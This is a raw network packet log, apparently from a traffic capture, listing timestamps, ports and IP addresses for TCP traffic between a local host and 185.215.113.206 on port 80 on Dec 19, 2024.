Dec 19, 2024 07:57:25.669440985 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.669456959 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.669483900 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.669500113 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.670173883 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.670277119 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.670497894 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.671067953 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.671083927 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.671123028 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.671844006 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.671888113 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.671925068 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.672625065 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.672668934 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.672823906 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.673501968 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.673516989 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.673544884 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.673559904 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.674582958 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.674608946 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.674666882 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.674681902 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.675081015 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.675218105 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.675268888 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.676017046 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.676034927 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.676081896 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.676753998 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.676805019 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.676850080 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.677575111 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.677639961 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.677705050 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.678349972 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.678401947 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.678457022 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.678498030 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.679215908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.679290056 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.679341078 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.680052042 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.680229902 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.680283070 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.680879116 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.680931091 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.680963039 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.681662083 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.681765079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.681833029 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.682570934 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.682589054 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.682622910 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.682642937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.683343887 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.683394909 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.683450937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.684115887 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.684289932 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.684345961 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.684942961 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.685061932 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.685133934 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.685815096 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.685870886 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.685900927 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.686623096 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.686686039 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.686799049 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.687433958 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.687489986 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.687540054 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.687701941 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.688222885 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.688448906 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.688498020 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.689081907 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.689215899 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.689269066 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.689917088 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.689949989 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.689970016 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.689990997 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.690677881 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.690731049 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.690840960 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.691507101 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.691562891 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.691700935 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.692323923 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.692377090 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.692406893 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.692451954 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.693176985 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.693265915 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.693330050 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.693975925 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.694092989 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.694159985 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.694865942 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.694921017 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.694998026 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.695682049 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.695769072 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.695780993 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.696470976 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.696537018 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.696595907 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.697396040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.697432995 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.697454929 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.697487116 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.698095083 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.698204041 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.698266983 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.698966980 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.699002981 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.699063063 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.699824095 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.699882984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.699883938 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.700777054 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.700841904 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.700994968 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.701473951 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.701507092 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.701534033 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.701566935 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.803548098 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.803592920 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.803767920 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.803848982 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.804034948 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.804100037 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.804694891 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.804730892 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.804761887 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.804795027 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.806365013 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.808953047 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.854043961 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.854090929 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.854149103 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.854187012 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.854224920 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.854278088 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.854851961 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.855025053 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.855042934 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.855096102 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.855565071 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.855627060 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.855731964 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.855792046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.856106997 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.856170893 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.856245041 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.856307983 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.856910944 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.856972933 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.857014894 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.857079983 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.857716084 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.857781887 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.857920885 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.857980967 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.858690977 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.858726025 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.858752966 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.858803988 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.859378099 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.859441042 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.859514952 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.859575987 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.860299110 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.860344887 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.860363960 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.860399008 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.861067057 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.861123085 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.861129045 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.861176014 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.861844063 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.861907005 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.861963034 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.862025023 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.862679005 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.862755060 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.862801075 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.862864017 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.863578081 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.863640070 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.863698959 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.863760948 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.864397049 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.864439011 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.864521027 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.865158081 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.865221977 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.865250111 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.865350008 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.865967989 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.866080046 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.866080999 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.866141081 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.866799116 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.866878033 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.866916895 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.866974115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.867649078 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.867702961 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.867712021 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.867831945 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.868433952 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.868499041 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.868520975 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.868578911 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.869220972 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.869299889 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.869406939 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.869468927 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.870148897 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.870184898 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.870253086 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.870253086 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.870877981 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.870944977 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.871265888 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.871344090 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.871752024 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.871814966 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.871922970 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.871975899 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.875073910 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.875128984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.875154972 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.875181913 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.875195026 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.875217915 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.875235081 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.875253916 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.875283003 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.875288963 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.875309944 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.875349998 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.875400066 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.875437021 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.875458002 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.875495911 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.875926018 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.875992060 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.876777887 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.876846075 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.877749920 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.877815008 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.877921104 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.877999067 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.878627062 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.878691912 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.878779888 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.878834009 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.878834963 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.878866911 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:25.878894091 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.878917933 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:25.880414963 CET	49724	80	192.168.2.4	199.232.214.172
Dec 19, 2024 07:57:25.995256901 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.000286102 CET	80	49724	199.232.214.172	192.168.2.4
Dec 19, 2024 07:57:26.000366926 CET	49724	80	192.168.2.4	199.232.214.172
Dec 19, 2024 07:57:26.114918947 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.432337999 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.432501078 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.432617903 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.432617903 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.432729959 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.432787895 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.432826996 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.432885885 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.433604002 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.433665037 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.433691025 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.433748007 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.434398890 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.434469938 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.434490919 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.434551954 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.435203075 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.435302019 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.435389042 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.435452938 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.436098099 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.436127901 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.436165094 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.436198950 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.561569929 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.561594009 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.561753035 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.561758995 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.561825991 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.562030077 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.562079906 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.562546968 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.562597990 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.562642097 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.562686920 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.563432932 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.563482046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.563515902 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.563560009 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.564333916 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.564348936 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.564379930 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.564398050 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.565408945 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.565435886 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.565464020 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.565489054 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.566658974 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.566677094 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.566693068 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.566709042 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.566725016 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.566745043 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.566869020 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.566915989 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.567748070 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.567774057 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.567796946 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.567812920 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.568818092 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.568835020 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.568867922 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.568892002 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.569111109 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.569159985 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:26.571232080 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.571245909 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:26.571283102 CET	49759	80	192.168.2.4	185.215.113.206
